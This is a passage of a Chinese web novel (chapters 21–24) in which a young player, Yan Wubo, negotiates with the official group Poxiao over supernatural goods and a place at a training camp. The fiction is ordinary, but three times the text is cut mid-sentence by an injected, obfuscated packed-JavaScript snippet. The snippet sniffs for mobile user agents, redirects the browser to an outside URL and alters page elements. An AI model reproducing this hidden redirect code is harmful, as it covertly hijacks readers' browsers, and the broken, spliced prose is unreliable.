晏无波知道金元宝很智能，但没想到自由度这么高，排版布局都能改。 她瞄了眼开车顾夜白，趁他分神在后视镜上，抬手把金元宝攥住，在心里问道：“你这样改不会挨骂吗？” 金元宝坐在晏无波手心里傲娇叉腰，“谁骂我？我又没新加功能，排个版还不让啦。” 晏无波被它逗得开心，手上也体现出来，盘核桃似的一个劲儿搓它。 金元宝手感跟真实的金子一样，滑溜溜、沉甸甸的，握在手里叫人莫名踏实。 这次进入的是场景而非副本，所以没有经验，等级仍然是3。 道具也没有变化，还是“急救喷雾”、“VIP的美瞳”。 冥币余额暴涨，从原来的一万，涨到1671万。 物品栏多了总价值1031万的诡异世界小商品，以及微笑连锁黑钻卡一张。 技能目前有3个，其中1个“强力”技能还在生成中，预计明天半夜才能解锁。 【是否花费一千万冥币，对“VIP的美瞳”进行升级？】 晏无波对常亮的金色也不太满意，但总比一晃一晃的好。 一千万下去，冥币余额骤降到671万，美瞳的道具多了两行字。 【VIP的美瞳】 【强化次数：1】 【强化效果：增加特效常亮功能，每次使用消耗冥币-10%。】 熬了两个大夜的晏无波精神了。 10%看着不多，但要是在桂森身上，1亿的10%就是一千万，直接回本。 顾夜白用余光频频扫向晏无波，马上就要到火锅店，这人盯了一路面板，还没腻吗？ 等了又等，他看见对方的眼睛突然变成金色。 顾夜白不得不承认，自己性子还是燥。 他忍不住问：“你想换什么？” “资源。” 顾夜白握着方向盘的手指紧了紧，“这范围可太大了，详细说说？” 晏无波在给祁景发小商品，奖励他在副本的贡献，头也不回道：“道具我不指望你们能卖我，我要诡异世界的信息、副本资料、人员训练方法，以及其他能尽快提升我实力和经验的东西。” 神豪系统在，她身上有大量冥币的秘密早晚会暴露。 在成为别人砧板上的肉之前，她必须以最快的速度挤到玩家金字塔的顶端。 论坛上的资料零碎、昂贵、真假不明。要想快速提升，还是找个靠谱的大组织做伸手党更简单。 凌晨马路空旷，黑色车一路畅通无阻。 又过了个路口，顾夜白才回道：“哎，要不你加入破晓吧？自己人的话，你不用跟我们交换也能拿到这些。” 晏无波意义不明地笑了声：“然后我手里的东西全部充公？” 拿外人东西需要考量，拿自己人东西天经地义。 顾夜白没接茬。 他可以不要晏无波的东西，但不能保证别人不动心思。 车子停在一家24小时营业的连锁火锅店楼下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468834|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾夜白解开安全带，晃了晃手机，“咱们先吃饭，吃完了听领导是怎么说的。” 他当着晏无波的面拨通了电话，将她的情况和要求原原本本地汇报了上去。 电话那头的震惊，隔着听筒都能感觉到，反复问顾夜白这件事的真实性。 过了几分钟，顾夜白不耐烦了，扔下一句“你们商量好了再找我”就挂断电话。 “人老了就是磨叽，让他们自己合计去吧，我们吃我们的。”顾夜白大声蛐蛐领导，带晏无波走进火锅店。 晏无波不清楚这是不是顾夜白降低别人戒心的策略，但不可否认的是，他现在这种态度她很受用。 她还以为会被戴上高帽高高架起，听一耳朵卖惨、大义之类的废话…… “有忌口的吗？” “没有。” “好，那就都点一遍。” 晏无波刚富裕两天，还没见过这种场面。不过今时不同往日，她没有慌张，而是把肉多加了两份。 顾夜白观察着她的一举一动。 若不是晏无波用平板点菜的模样有些生疏，他会认为面前这个人不是“晏无波”。 昨天谈话后，顾夜白调查了这个奇怪的学生。 从资料上看，晏无波在上高中前一直生活在“明德福利院”，高中以后就脱离福利院长期住校。住校后，她便不再接受福利院补助，用寒暑假打工的钱生活，偶尔还会寄回去些，生活非常窘迫。 无论是福利院还是她从小到大念过的学校，对她的评价都非常好，认为这是一个热心温柔、只是有些沉默寡言的人。 而真实的晏无波留给顾夜白的印象并非如此。 沉默寡言是真的，但是热心？温柔？ 恕他眼拙，没看出来。 那名老师说晏无波替她找出□□，救了她一命。但他总觉得，晏无波是嫌这老师结账慢，耽误她购物，才出手帮她解决问题。 更重要的是，晏无波作为一个初入副本的穷学生，怎么会有那么多冥币，现实世界面对高额账单的底气又是从哪来的？ 一个从小伪装到大的人，把他骗过也不是不可能。 得找个机会把人带到基地，叫人偷偷鉴定下她的面板。 这样想着，顾夜白在晏无波面前表现得更放松。 期间他手机响个不停，但他一概不接，问就是：“再等等，现在他们肯定没商量好，打电话不是让我做你工作就是跟我絮叨。” “对了。”顾夜白把毛肚浸在油碟里，貌似不经意地问道：“你怎么会来这个副本？这离你们学校挺远的。” 晏无波知道他在试探，半真半假道：“钱多手痒，特意找过来花钱，你信吗？” 顾夜白满嘴毛肚，腮帮子鼓鼓的。他看着晏无波弯眼笑，吞下去后才回道：“信啊，这有什么不信的，你是‘顾客’啊。” 锅子咕噜噜冒着热气，升腾的水汽让顾夜白的表情有些模糊。 “我手里也有点儿冥币，留着没用，想花都花不出去，你有什么办法吗？” 晏无波有一瞬间想说“花不出去你就送诡”，话到嘴边又止住了。 这要说出去了，和自首有什么区别？ 不仅解释了第一个副本里宿管对她的特殊态度，也坐实她初入副本就身怀冥币的事实。 晏无波抿了口果汁，“天环购物中心，从名字看，这副本说不定能花钱。” “这个等级太高了，又是新副本，现在没什么消息传出来。”顾夜白皱着眉，苦恼道：“副本身份没办法选，不知道进去会变成导购员，还是顾客。哎，你是怎么成顾客的，有冥币就行吗？” “顾组长。” “嗯？” 晏无波用公筷夹了一大筷子煮老了的鸭肠，放在顾夜白的油碟里，体贴道：“多嚼会儿。” 这张嘴还是太闲了。 22. 第 22 章 顾夜白没有被点破的尴尬，抖着肩膀闷笑个不停。 知道套不出什么，他彻底放开，脱掉作战服外套扔到旁边的空座上，穿着一件黑色紧身背心专心吃饭。 常年高强度训练打磨出的身体结实有力，颇具弹性的布料勾勒出他流畅的肌肉线条，胸前的弧度更是饱满。 晏无波用那双金色的眼睛目不转睛地看着。 察觉到对面的视线，顾夜白的筷子顿了顿。随后夹起最辣的双椒牛肉涮了涮，裹满辣椒面后一口下肚。 吃下去没多久，他的身上就冒出了细汗。 顾夜白像是被辣到似的，用手指勾住领口微微向外拉扯。 领口歪斜，一小片紧实而富有弹性的麦色胸肌露出，在灯光下泛着湿润光泽。 凌晨的火锅店并不喧闹，晏无波的叹息清晰可闻。 这男人…… 数值真高啊！ 【顾夜白，Lv29，天赋：聆听（A）、崩解（S），力量26，敏捷26，体力34，智力12……】 落后这么多，得抓紧时间了。 顾夜白饭量堪称恐怖，菜单通点一遍仍没吃够，后续又多加了几盘鸭肠。 晏无波吃到一半就跟不动了，靠在椅背上边刷诡异系统的论坛，边揉肚子消食。 凌晨的论坛比白天要活跃，多的是刚出副本的玩家，新帖几乎以一秒一个的速度弹出。 有结仇挂人的、有崩溃哭诉的、有探讨经验的、还有寻求大佬庇护的…… 论坛没有分级，什么样的逆天帖子都能在这里看到。 【微笑便利店也可以不打工！想知道内幕进来打赏！】 这个新帖子立刻吸引晏无波的注意。 贴主设置一万花币的打赏，付过才能解锁内容。 晏无波这个当事人对“内幕”心知肚明，但还是好奇心驱使她点进去。 帖子从刚进副本开始叙述，从描述视角和细节来看，贴主可能是负责仓库的郭明。 她模糊了所有参与者的特征，只将事情的经过陈述出来。 同是人类玩家，员工累死累活还要被店长戳，而顾客却悠哉悠哉，甚至被店长狂舔。 别的副本也有不同身份，但就算难度有高有低，也没差出这么多。更别提帖子里动辄十万二十万的冥币，99.99%的玩家听都没听过这么大数额。 【在这给我编爽文呢？】 【真服了，每天上一当，当当不一样！】 【一万！你怎么敢骗一万！我在晋江看十年小说都花不到这个数！】 因为事情过于离奇，跟帖的评论清一色都在痛骂贴主骗钱。 晏无波退出去看了一眼，外面已经有帖子在“排雷”，提醒大家不要上当。 然而等她再点进郭明的帖子，最新的跟帖让她眼神一冷。 【尊嘟！那个短发的年轻姐姐炒鸡酷！又高又漂亮，可能都快一米八了！眼睛不知道是天赋还是道具，看人的时候会闪金光，看着就很壕。在便利店都能花这么多钱，她的冥币一定很多~】 晏无波知道自己早晚会被人发论坛上，但没想到这么快。 这个跟帖看似夸她，实际把她的特征暗戳戳地列出来，用巨额冥币吸引别人去挖她，恶意满满。 从副本出来的几个人，祁景和她在副本合作过，不太可能搞这种小动作。左文宁和祁景立场一致，暂时排除。郭明是发帖人，主贴ID和跟帖不一致。 剩下的只有潘越龄。 她让潘越龄全属性减了30%，很可能被记恨，当时没看完的那项被动也很可疑。 宁可错杀，绝不放过。 在更多人点进帖子前，晏无波也发了个跟帖。 【尊嘟！那个长发及肩的中年鸽鸽炒鸡好！微胖，没有一米八。不知道是真僧人还是兴趣，穿的灰色僧袍，还断了一只右臂，看起来好有武侠风。他的天赋居然能变动哎，最高有SS，身上的道具一定很多~】 点进来的玩家本来还在想这个跟帖的真实性，但晏无波的帖子一出来，顿时觉得自己又被唬了。 近一米八的有巨额冥币的短发女人，长发及肩的有SS级天赋的断臂僧人，两个形象看着都不像真的。 这个玩家立刻跟风发帖。 【尊嘟！那个光头的老太太炒鸡厉害！……】 后面进来的人都要气笑了，走之前也纷纷留下“尊嘟假嘟”之类的跟帖。 另一头，潘越龄无比后悔自己的冲动，因为失血而煞白的脸色隐隐泛青。 这到底是什么人，B级的道具都挡不住她的窥探？ 早知道就不贪被动了！ 这种档次的人哪是他能惹得起的…… 【度化（被动）：判定失败后，若在二十四小时内使判定失败的源头消失，则取消已生成的孽障。】 他的天赋上限很高，但也很难，目前只能勉强让功德和孽障持平。 两个孽障，如果靠他自己慢慢抵消，不知得等到猴年马月。他这才玩一手借刀杀人……结果玩脱了。 郭明看到这两个跟帖，心脏都要蹦出嗓子眼，看到其他玩家没把这两个帖子当真才安心了些。 深思熟虑后，她也下场“玩”了起来。 【尊嘟！那个地中海的小男孩超可爱……】 与主贴同ID的跟帖一发，其他人更确信前面都是在搞抽象，评论区的风向又转回声讨贴主退钱。 晏无波盯着帖子的走向，见郭明亲自下场搅浑水，便知道潘越龄在论坛上再翻不起风浪。 论坛上的假消息数不胜数，这样一闹，即便后续他另开帖宣扬，别人也只会认为他还在“玩”。 但潘越龄的被动时限还有十六个小时，在这期间难保他不动别的心思。 保险起见，这段时间她还是别单独行动，把顾夜白拴在身边比较好。 消息没套出来，他肯定不会让她出事。 顾夜白的手机屏幕又一次亮起，上面显示着“任局”。他这次没再挂断，反而按了免提。 电话那头传来一个粗粝的中年男声，听起来十分恼火：“小王八蛋你终于接了……” “哎哎！”顾夜白连忙打断：“领导，我开的免提，给点面子。” “咳！你不早说……晏同学，我们原则上同意你的条件，不过具体细节需要当面谈。” 以晏无波对官方行事的刻板印象，本就没指望他们能通过电话答应，“可以。” “好。”对面似乎松了口气，“我看小顾的定位在楼下，你们直接上来吧，我们都在。” 晏无波一愣，抬眼看顾夜白。 楼下？ 顾夜白冲她呲牙，抬手指了指窗外的某栋建筑。 晏无波顺着他的手指望去，外面那栋建筑外边什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475249|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标志都没有，只跟火锅店隔了条马路。 她用手机定位了下，发现那栋大楼名为启明大厦。 启明、破晓…… 这里竟然是官方的地盘？ 晏无波无语，这人看着挺老实，怎么能奸诈到这种地步。 不过也好，在破晓大楼里更安全。 顾夜白自知理亏，结账之后调侃道：“我赎过罪了，不兴骂我了啊。” 晏无波只回了两个字：“呵呵。” 两人走出火锅店，遛弯似的穿过马路进入大厦。 和外表的平平无奇不同，启明大厦内部安保森严。即使是凌晨，穿着黑色制服的人员也随处可见。他们行色匆匆，看见穿着背心的顾夜白也没多问候一声，而是点了点头就继续忙活。 顾夜白也不介意，替他们解释道：“对于我们而言，凌晨才是最忙的，玩家大多在这个时间出副本。” 刚出副本的这段时间最容易发生恶性事件，砍个手臂都是小事。有些极端的，杀了在副本结怨的人还不够，还要追过去杀对方全家。 两人进入电梯，顾夜白刷卡，按了大楼最中间的楼层。 电梯门打开，灰色地砖映入眼帘。 晏无波抬脚踏出，整条走廊安静到能听见她自己的呼吸声。 顾夜白走在前面，依旧穿着背心，攥在手里的外套随着步伐来回甩动，发出阵阵摩擦声。 寂静之中，走廊似乎变得很长，晏无波感觉自己走了很久才到走廊尽头。 “我就不进去了。”顾夜白把手搭在厚重的实木门上，侧身说道。 他的手掌轻轻用力，会议室的门缓缓打开。 门口，巨大的椭圆形会议桌正对着晏无波。 会议桌旁坐了七八个人，为首的是个眉间川字纹明显、看起来六十多岁的男人。 这些人谁都没有说话，直白地审视着这个“外来者”。上位者的气场全开，无形的压力朝晏无波扑面而来。 晏无波瞬间懂了。 路上的开场白、地点的选择、火锅店的试探、走廊的压抑，再到顾夜白这个“熟人”的隔离、陌生上位者的凝视……所有的一切，都是一场精心设计的心理施压。 在这巨大的压力之下，若是再给一些“亲近”、“示好”之类的暗示，让她产生些许依赖和安全感。她这个“清澈又愚蠢”的大学生，岂不是在任他们宰割？ 时间一秒秒流逝，大约过了一分钟，晏无波才抬脚往里走去。 任局的眉头松了松，和门口的顾夜白不着痕迹地对视一眼。 在他下首的中年男人露出公式化的笑容，正要起身说几句开场白缓和下气氛，就被一个沉重的闷响打断。 砰！ 一颗瘪了半边的诡异头颅咕噜噜地滚在办公桌上，头颅脖子的整齐断面正对着准备说话的那个男人。 “啊！”中年男人惊呼一声，猛地从椅子上弹起。 他对面也有两位反应激烈，站起来时带倒了椅子，发出一片刺耳的撞击声。 顾夜白浑身紧绷，下意识掏出手枪，直到他发现桌子上的那颗头是“死”的，才长舒一口气。 晏无波收回抛掷头颅的手，走到会议桌前，用同一只手拉开椅子坐下。 金色的眼睛流转着冰冷的光，她的声音不大，却清晰地传入每个人的耳朵。 “别紧张，一点见面礼而已。” 23. 第 23 章 晏无波来之前，这些人设想了数种情况，唯独没有现在这一种。 这一手打散他们刻意营造的氛围，形势逆转，现在她才是给予对方压力的人。 被头颅吓得推倒椅子的寸头男人从惊骇中回神，他负责后勤工作，至今没进入过副本，更没见过真实的诡异。 看科研组的女人都没起身，他却像个小丑似的一惊一乍，寸头男人恼羞成怒，指着晏无波骂道：“现在的学生真是不知好歹，你以为破晓是谁都能来撒野的吗？” “撒野？”晏无波摇头，微笑道：“真要撒野，我甩的就不是诡异尸体，而是炸弹了。” 她将手伸到前方，作势要拿回这颗头，“这是死亡时间不足12小时的诡异尸体，你们不要就算了。” “要！！！” 坐在任局下首，扎着低马尾的中年女人一个“饿虎扑食”，扑到头颅前面，速度快到晏无波都怔了一下。 “同学你好，我是技术组组长罗如君，你叫我罗姐就行。” 罗如君的脸都要笑烂了，狂热地看着晏无波，“你这见面礼送得好哇！我们正愁没有样本研究呢。” 她抓起晏无波的手握了握，然后掏出透明袋子，小心翼翼地将头装进袋子里。就连头颅砸到桌面时落下的灰尘也不放过，用手帕仔细擦拭后一起装到袋子里。 晏无波再没开口，看着罗如君“整理现场”。 任局眉间的川字纹愈发深刻，一个照面，他就知道晏无波是个什么样的人了。 不好糊弄的刺头儿。 和资料里展现的形象判若两人。 先前的计划不能用了，再用下去只会适得其反。 “老史，坐下。晏同学既然过来了，已经说明她的诚意。”任局抬手虚压，让其他人也回到自己的位置上。“小顾，你也进来。” 顾夜白会意，关上会议室的门，大步流星地走进来，自然地拉开紧挨着晏无波的那张椅子。 晏无波不想和他表演这种亲近的戏码，同样把戏耍一次就够了。 她直接赶人，“坐远点。” 顾夜白动作一滞，默默将拉开的椅子推回去。他搓搓鼻子，还是没回任局那边，选了和晏无波隔一个位置的椅子。 等在场所有人都落了座，最初想要开口的中年男人清了清嗓子，试图重新掌握主动权。 “晏无波同学，是吧？”他的语速刻意放缓，听起来如春风化雨。“我们看过你的资料，从福利院出来的孩子，能取得如今的成就真的很不容易。更别提在这么艰难的过程中，你还能保持善良乐观的品格……” 他对晏无波的人生经历侃侃而谈，从福利院的小奖状聊到大学的奖学金，细节详尽到仿佛亲眼所见。 有些事晏无波自己都忘了，她静静听着，直到对方说完。 这些看似赞扬关心的话语隐含尖锐。 他们对她了如指掌。 但……她对他们也并非一无所知。 【庞建林，Lv8，天赋：超记（C）……】 中年男人自觉扳回一城，拧开保温杯啜了口茶水，继续道：“你的经历真的让我深受感动，透过你，我仿佛看到了千千万万如你一般坚强生长的福利院孩子……” “哈。”晏无波突然笑了，她打断中年男人的陈述：“庞建林先生，作为领导，你应该反思为什么会有千千万万的孤儿，而不是在这里背我的人生经历感动自己。” 庞建林一口热水呛在喉咙，“噗！咳、咳咳……” 眼泪鼻涕糊了他一脸，庞建林用手捂着脸，背过身说不出话来。 “啧。”寸头男人抱臂摇头，“年轻人，气太盛！” 晏无波将头转到说话的寸头男人身上。 【史征……】 这个人没有天赋，没有数值，和诡异世界的商品一样，品质低到VIP美瞳都不管她要钱。 “史征先生，你年纪大，肯定比我稳重，所以你就忍着点吧。” 任局听到这儿隐约觉得哪里不对，但是具体是哪里，他又想不出来。 史征气得拍桌，“你对待长辈、对待领导就是这种态度？” “那应该是什么态度？”晏无波反问：“对蛮不讲理的老人态度尊敬，副本就能让我活下来吗？” 说完，她挑眉，恍然大悟道：“啊，我忘了，你没进过副本，和你说这些没用。” 一句话，精准地戳中了史征的痛处。 没进过副本却担任破晓的领导，他承受了不少非议。可谁不怕死？他能躲过副本，是他的幸运，而非能力不行。 史征没发现晏无波的怪异，气愤地解释自己就算不进副本，也足够担任破晓的领导。 任局、罗如君和其他几个敏感的人发现了不对劲。 顾夜白是什么人他们了解，他不会擅自把他们的信息透露出去的，尤其是进没进过副本这种较为私密的信息。 所以……晏无波是从哪里知道的？ 聪明人都选择沉默，将目光投向任局。 任局盯着晏无波的眼睛，对她的能力评价再次拔高。 这真的是刚进副本的新玩家？ 他低头摆弄了下手机，用粗粝的声音打起了圆场，“行了，我们和晏同学合作，不是吵架，别搞得剑拔弩张的。” 任局的身体微微前倾，努力柔和表情，不疾不徐道：“同学，你的条件我们接受，不过我这里有两个方案。” “第一个方案，你加入破晓。我立刻给你组长权限和待遇，承诺只要你在破晓一天，就永不取消。在此基础之上，我们也会给你一个训练营名额，全力培养你，协助你提升等级。” “第二个方案，一锤子买卖。但我只能给你普通队员权限，时效一个月。这一个月里你可以通过内部网站浏览或学习，但能读多少，能学多少，全看你自己。” “这两个方案你拿到的资料都不能转卖或者给别人，只能供你自己使用。” 他说的每一个字都带着不容置喙的分量，仿佛是摆在晏无波面前唯二两条路。 晏无波搓了搓手指，有些遗憾金元宝不在手里。 第一个待遇看起来很好，但进了破晓，便有无数只眼睛注视，她身上的秘密迟早被曝光。以后做事不但束手束脚，得的东西，也未必是她私人的东西了。 第二个相对自由，不过和第一条的待遇对比过后，就显得很寒酸。一个月的时间看了一脑袋文字，实际数值和经验得不到任何提升。 两个方案她都不喜欢。 晏无波作出结论：“我要组长权限和训练营名额，但我不会加入破晓。” 史征现在看晏无波眼睛不是眼睛，鼻子不是鼻子，她说一句就要呛一句：“轮不到你挑三拣四，这里不是菜市场！” 一直没说话的白胡子老头挠着脑袋，状似不解道：“你是承国家恩惠长大的，何必如此自私。国家让你长大，你不记恩就算了，还反过来要挟国家，这是什么道理？” 顾夜白一听就知道要糟，连忙打断：“张老！” 晏无波冷冷看向说话的老头儿，老头儿挺直腰板任她打量。 “老爷子，你说以我手里的消息、物资、两具诡异尸体去和其他组织……不，就算是放到论坛或者交易板块上，你们还有资格跟我在这里讨价还价吗？” 她的话说得极不客气，但在场领导都没有反驳。 就算晏无波只有左文宁嘴里的一百万冥币的诡异世界的商品，放在论坛上都会被其他组织争抢，更别提至今没有人能拿到诡异尸体、以及让副本消失的办法。 他们很清楚，晏无波想要的东西对他们而言不值一提。 组长权限？一个市就有五个不同职能的组长，放眼全国，组长多到数不清，给一个没有实权的组长权限算得了什么？ 训练营名额？人才培养是会耗费人力、财力等资源。但对于破晓而言，培养的又何止一个人，多一个人完全没有负担。 晏无波就算在训练营实力大有提升又如何，她只有一个人，破晓确实无数个人在提升，对他们构不成威胁。 这是一场双赢的交易。 可人心贪婪，总想用最小的代价，换取最大的利益。 晏无波颇为失望，她之前对破晓的官方身份多少有些赋媚了，把他们想的过于“清白”。 欺压弱小是人类的劣根性，破晓这个由人构成的官方组织也不例外。 “我选择和你们交易，并孤身进入破晓，已经代表了我的态度，但你们的态度让我很不满意。” 晏无波起身，微笑道：“既如此，就当我打扰诸位休息，这场交易作废。” 罗如君速度依然很快，还不忘抱着诡异的头，她挡在晏无波身前着急道：“哎，别走啊，任局也没说不答应，再谈谈嘛。” 晏无波却不想再谈了，绕过她继续向外走。 任局也忍不住站起来，出声挽留：“同学别急，我们可以再商量的。” 他冲顾夜白打眼色，要顾夜白也上前堵门。 顾夜白做事鲜少迟疑，但这次他犹豫了，纠结过后迎上任局的视线，几不可查地摇了摇头。 晏无波的性子他见识过，现在去堵门，这买卖真不用谈了。 罗如君可不管这些，看到即将到手的两具诡异尸体要飞了，再次拦住晏无波。 她抓住晏无波的手，冲着会议桌旁的一圈人骂道：“你们这些人，个顶个儿的不要脸。同学好心好意跟我们合作，你瞅瞅你们那恶劣的嘴脸！道歉！都给晏同学道歉！” 罗如君一声接一声地骂着，骂得众人的面子都挂不住。 “松手。”晏无波并没有对彻底倒向她这边的罗如君有好脸色。 她试图抽走自己的手，但对方握得实在是紧，像个秤砣似的把她坠在原地。 “从我上了顾夜白的车，你们就在给我下套，现在也不用在我面前扮红白脸。” 罗如君大呼冤枉：“我没有啊，我是坚决支持你的诉求的，是其他老不死的不同意！” 顾夜白小声为自己辩解：“我那也不算下套，顶多叫谈判小技巧……” 张老知道自己捅了篓子，被罗如君骂老不死的也不敢生气，讪讪道：“我就随口那么一说，这孩子性子真烈。” “不让我走？”晏无波就地站下，“行，那我现在就挂交易区，你们要是有道具阻止我登陆诡异系统，那就请便。” 场面发展到这种程度，再装就不合适了，任局长松口：“那就一个月的组长权限加训练营名额。” 晏无波看都不看他，直勾勾看着虚空，像是在操作着什么。 “三个月。”任局长继续加码。 “六个月。” 任局长嗓子发紧，“同学，破晓的所有消息都是拿命堆出来的，六个月的时间已经很长了，你总不能指着这次交易吃一辈子饭吧？” 晏无波没指着这次吃一辈子，但做伸手党的时间当然是越长越好。 超市里的小商品不是道具，一个人留那么多没用。她的目光从面上的上挪开，“八百万冥币的诡异商品，我要一年，外加八百万花币。”剩下的二百万货以备不时之需。 任局长呼吸一滞。 八百万！ 这个数字远超他的想象。 而且对方拿得出来，就代表她在副本内的消费达到了八百万冥币。这人手里现在还剩多少冥币，没人知道。 “真的不考虑来破晓吗？我们待遇很好。”他忍不住做最后的努力。有这种苗子落在外面，他睡觉都不踏实。 晏无波的脸上透出一丝不耐烦。 任局长识趣地不再多说，安慰自己至少她对官方持友善态度。 双方就此敲定。 接下来是签订协议、交接物品、开通权限、交换信息等一系列繁琐流程。 任局怕再给晏无波惹毛了，没让她到处跑，而是叫人过来处理。 期间有个人端了果盘过来。 他刚把果盘放在晏无波身前，转身要走的时候，脚下一滑，整个人跌在晏无波身上。 晏无波把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483701|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶起，什么都没说。 这人走后，任局的手机响起了消息提示音。 他低头查看，晏无波的声音凉凉地从桌子另一端传来，“如何？我没对自己的信息造假吧。” 她才不信破晓的人转个身都能摔成那样，用美瞳看过之后，对方的天赋果然是探查类的。 任局长今日这张脸算是丢了个干净，捂着额头自暴自弃道：“没有，你比我这个老头儿诚实多了，也厉害多了！” 晏无波剥着橘子，若有似无地“嗯”了一声。 为了确认晏无波所传消息的真实性，这次还是顾夜白询问，情报组组长范川从旁补充。 晏无波绝口不提冥币是从哪来的，顾夜白知道她绝对不会说，也不问。 她把郭明发的帖子推荐给顾夜白，让他对照着看，并提起潘越龄的天赋。 在会议桌边坐着、却一直没有开口的范川不禁问道：“真的有这种天赋吗？全国采集库都找不到一例类似的。” 这时已经中午，晏无波这会儿已经很疲乏了，懒得辩解，继续描述。 顾夜白停笔，把一瓶橘色药水递给晏无波：“精力药剂，解乏的。” 晏无波瞄了眼。 【物品名称：低级精力药剂】 【品质：D】 【效果：提神醒脑，保持8小时充沛精力。】 确认没有问题，她接过来立即使用。 味道怪异的液体滑入喉咙，如薄荷般清新冰凉的感觉直冲脑门，让晏无波昏沉的思维瞬间活跃。 谈话继续进行下去，晏无波一口气将副本的情况说完。 然而她说完了，顾夜白却不见高兴。他低着头，鼻尖敲击纸面，消沉道：“那瓶药剂是真的，你可以放心喝。以后你算我半个同事，今天的事情……我保证不会再次发生。” 晏无波知道这个人有多狡猾，断不会因为他一时的示弱而心软，满脸都是“你在狗叫什么”的不解。 “我喝完了。” 顾夜白不信，“不用骗我，你的状态骗不了人。” 晏无波更迷惑了：“？” “既然你已经喝了，为什么你的表情还是……”顾夜白用手指压平自己上挑的粗眉，学着晏无波耷拉眼皮，眼睛只睁一半。 他学得极像，但在晏无波脸上显得疏离冷清的表情，挪到顾夜白这个浓眉大眼的壮汉身上，就变得极为喜感。 范川绷不住了，大鹅似的笑出一连串鸣叫：“呃呃呃呃呃~” 晏无波的眼睛这下彻底睁开了。 她的表情依然不丰富，但谁都能看出来她的恼火。 “你故意的？” 之前搞小动作，现在进化到光明正大嘲笑？ 顾夜白坐直了身体，马上否认：“没有！就是看你有点半死不活的……” “呃呃呃呃呃~！”围观的范川又是一阵长鸣。 他踢了踢顾夜白的脚，让他别解释了，越解释越黑。 “好吧，我真没想到你平常就是这个表情。”顾夜白拍拍胸口，“你打一拳吧，打完别生我气。” 晏无波拳头硬了，“顾组长，今天你这是第二次跟我告罪了。” 顾夜白算是明白电视剧里的人为什么遇到事情不解释了。 因为真的不好解释。 “那……两拳？” 他后面的字还没说完，晏无波就一拳砸了过去。 这拳她没留力，恨不能将自己的自己的属性点全挪到力量里。 顾夜白体质够高，胸前肌肉软弹，并不怕她全力一拳。可奈何对方搞偷袭，他没绷紧肌肉对方就动手。 瞬间的冲击力砸到胸前，饶是顾夜白也闷咳一声，身体向后倒去。 “哐当！” 顾夜白连人带椅子翻倒在地。 茫然了一会儿后，他仰躺着，歪头看要走的晏无波，问道：“还有一拳，要打吗？” 晏无波单手插兜，冷冷道：“欠着。” 11的力量去打34的体力，震得她手疼。 流程继续走，直到下午三点，这次交易才交接完毕。 顾夜白跟了全程，结束以后凑到晏无波跟前，“我送你去休息？” 晏无波不至于因为小事就疏远他，该用还用，“直接送我去训练营。” 顾夜白服了，这会儿是打从心底佩服她。 就算是他，第一次从副本出来还缓了两天，这个人心理素质太强了。 他不再多言，开车将晏无波送往位于市郊的训练基地。 培训基地从外形看是一片普通的工业园区，外面和大楼一样没有标识，里面大部分建筑也是常见的白色厂房。 顾夜白的车停在园区入口，摇下车窗对站岗的保安道：“你录一下新成员的信息，她的权限和我相当，来去不用拦。” 保安诧异地看了晏无波一眼，双手接过她的卡。 晏无波也很诧异，这个不起眼的保安，竟然有22级。 录过信息之后，车辆继续向内驶入。 普通工业园区外皮下的真实面貌展现在晏无波眼前。 一排排白色厂房并非生产车间，而是功能各异的训练馆和“教室”。路上遇到的穿着蓝色工作服的也不是工人，而是被送进来培训的队员。 每经过一个区域，顾夜白就要停下来刷一次卡。不知经过几道身份验证，车辆停在“6号车间”前。 “训练营每月1号统一培训，半年结营。6班是新班，今天10号，你应该跟得上。”顾夜白介绍道。 晏无波并无不满，她也想尽快开始，“好。” 再次刷卡，厂房的大门打开，露出如同大学阶梯教室一样的装修。 嘈杂的教室内瞬间安静了下来，几十道目光齐刷刷地落在两人身上。 还不等晏无波仔细打量，一道声音惊喜地叫住她：“波波！” 晏无波的视线扫过阶梯，很快定格在阶梯最后一排的某道身影上。 她的表情逐渐回暖，“学姐，你也在啊。” 24. 第 24 章 这番变脸看得顾夜白啧啧称奇。 “又塞人了？”在白板面前坐着的女人站起来。 她穿着深灰色长袖运动服，看着不到三十，一头长发又黑又亮，直直地垂在腰间。头发没经过任何染烫，只在头顶用一个红色的发带箍住，不让它们跑到前方遮挡视线。 顾夜白招呼道：“许姐，你来一下。” 许香如走到他面前，上上下下地打量，忽然问道：“你在烧什么？” 顾夜白：？ “清明刚过，还不至于热到这种程度吧。”许香如像替他冷似的打了个寒颤，“穿个背心晃悠啥呢，真是烧得够呛。” 